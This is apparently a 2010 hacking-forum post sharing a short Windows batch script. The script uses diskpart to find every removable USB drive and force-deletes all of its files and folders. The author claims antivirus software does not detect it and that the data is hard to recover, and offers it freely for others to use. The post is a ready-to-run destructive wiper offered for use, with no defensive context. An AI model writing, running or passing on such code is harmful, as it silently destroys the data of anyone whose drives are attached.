Jul 28, 2010 01:33 PM
(This post was last modified: Jul 28, 2010 01:35 PM by White Light.)
This will delete all files and folders on any and all USB devices attached to the computer it is run on. Is not detected by AV software and data is REALLY hard to recover (data recovery is virtually always possible) - impossible unless the user has professional data recovery programs or backups.
Current version: 1.2
Changelog:
v1.2 - Made it so it checks that the drive contains files - prevents a simple error.
v1.1 - Made it so it works whether or not the drive has a label.
v1.0 - Works...if the drive has a label.
If anyone wants to use this for a project or whatever, feel free, as long as you give me some credit, ok?
Current version: 1.2
Changelog:
v1.2 - Made it so it checks that the drive contains files - prevents a simple error.
v1.1 - Made it so it works whether or not the drive has a label.
v1.0 - Works...if the drive has a label.
Code
@echo off
setlocal enabledelayedexpansion
echo list volume > script
for /f "skip=8 delims=" %%a in ('diskpart /s script') do (
set drive=%%a
set drive=!drive:~15,1!
set type=%%a
set type=!type:~39,10!
if !type!==Removeable call :delete !drive!
)
del script
goto :eof
:delete
if not exist !drive!:\nul goto :eof
if not exist !drive!:\* goto :eof
del /f /s /q %1:\*
rd /s /q %1:\*If anyone wants to use this for a project or whatever, feel free, as long as you give me some credit, ok?




![[Image: 8vvxbk8.jpg]](https://i.imgur.com/8vvxbk8.jpg)